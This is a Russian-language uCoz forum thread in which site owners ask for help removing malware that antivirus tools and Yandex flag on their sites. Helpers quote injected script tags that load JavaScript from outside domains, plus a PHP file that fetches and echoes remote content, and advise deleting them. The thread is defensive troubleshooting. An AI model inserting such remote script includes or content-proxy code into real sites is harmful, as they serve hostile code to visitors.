Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах_2 (для изучения) |
| Вирусы на сайтах_2 |
|
Здравствуйте, у меня снова появился какой то вирус на сайте,
Яндекс пишет что это какой то вредоносный код, Вот эти старницы мне вывел Яндекс как опасные: http://kisa.moy.su/publ....-1-0-38 Поведенческий анализ http://kisa.moy.su/ Поведенческий анализ Вирус выводится у всех - пользователей и гостей. |
|
Люди! Мне поможет кто-нибудь :). Написал ещё 20.02.
У меня Аваст обнаруживает на сайте троян, Каспер и Вебер - нет. Но пользователи недовольны. Помогите, п-ста, отыскать и удалить вирус. Сайт: http://www.help-studentu.ucoz.ru/. Скрин обнаружения трояна у меня тоже есть, это JS:ScriptIP-inf[Trj], объект: http://www.help-studentu.ucoz.ru/ >{gzip}. Спасибо! |
|
Здравствуйте. У меня такая проблемка, когда захожу на свой сайт http://world-of-tanks.3dn.ru/ у меня его блокирует антивирусом NOD32, вот скрин http://floomby.ru/content/yjr1IhUTI0/full/ . Не поскажете какой код или что мешает зайти на сайт?
|
|
Dima(cs), сайт (адрес) занесен в базу. вам надо связаться с тех.поддержкой нода и решить проблему
|
|
jonrich, в этом скрипте (он в футере, это по-русски нижняя часть сайта)
Quote <script src="http://pro-cs-source.at.ua/dopolnenia/jquery.scroll.pack.js" type="text/javascript"></script> по адресу, выделенному красным ошибка 404. Там же в футере удалите скрипт: Code <script type="text/javascript" src="http://mficho.ru/antyban.js"></script> он содержит фрейм. Сообщение отредактировал bandjuk - Воскресенье, 26 Фев 2012, 20:18:51
|
|
Уважаемые пользователи, координаторы, медераторы, админы и т.д. Прошу вашей помощи (готов заплатить сколько надо!) Вобщем проблема в следующем: в ЯВМ со вчерашнего дня сайт (http://kinoylei.ru/ - стал с пометкой как опасный) начал смотреть код страниц выявил следующие:(почти на каждой был такой код - <script type="text/javascript" src="http://ashot.do.am/rtr/3-26"></script>). удалил его, проверил доктором вебом - показал что мол вирусов нет на сайте. Отправил сайт на перепроверку, сегодня пришел ответ, мол на сайте попрежнему вирусы только раньше была 1 страница а сегодня аж 6)
Помогите кто нибудь найти гаденыша... |
|
Bestmashin, вот ваша потенциальная проблема
Code <script language="JavaScript" src="http://Real5Traf.ru/js/vkmessage.php?id=1915"></script> <script language="JavaScript" src="http://Real5Traf.ru/js/peeldown.php?id=1915"></script> <script language="JavaScript" src="http://Real5Traf.ru/js/bodyclick.php?id=1915"></script> а вот это удалить обязательно!!! Code <script type="text/javascript" src="/php/money.php"></script> |
|
Quote (Bestmashin) Помогите кто нибудь  Добавлено (28-Фев-2012, 18:27:02) Quote (webanet) вот ваша потенциальная проблема Quote (webanet) вот ваша потенциальная проблема Code<script language="JavaScript" src="http://Real5Traf.ru/js/vkmessage.php?id=1915"></script> <script language="JavaScript" src="http://Real5Traf.ru/js/peeldown.php?id=1915"></script> <script language="JavaScript" src="http://Real5Traf.ru/js/bodyclick.php?id=1915"></script> удалил, проверил. все равно пише На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код. |
|
Bestmashin, читайте три раза //forum.ucoz.ru/forum/45-34556-821049-16-1330438781
Quote проверил. все равно пише На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код. |
|
Quote (webanet) читайте три раза //forum.ucoz.ru/forum/45-34556-821049-16-1330438781 а вот это удалить обязательно!!! Code <script type="text/javascript" src="/php/money.php"></script> Так это же совсем бизобидный код вот его содержание [spoiler]<? $urlp = "http://all-x.ru/?i=15836&c=2"; $code = @file_get_contents($urlp); echo $code; $___notjson=1; ?>[spoiler] К тому-же этот код стоит уже не один месяц все было нормально. (только вот в папке рядом с этим файлом пхп появился js (8ba548.js) все началось после этого кода <script type="text/javascript" src="http://ashot.do.am/rtr/3-26"></script> Мне До сих пор НЕПОНЯТНО как он попал в код ШАБЛОНА!!!! |
У меня Аваст ведёт себя спокойно 
| |||
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!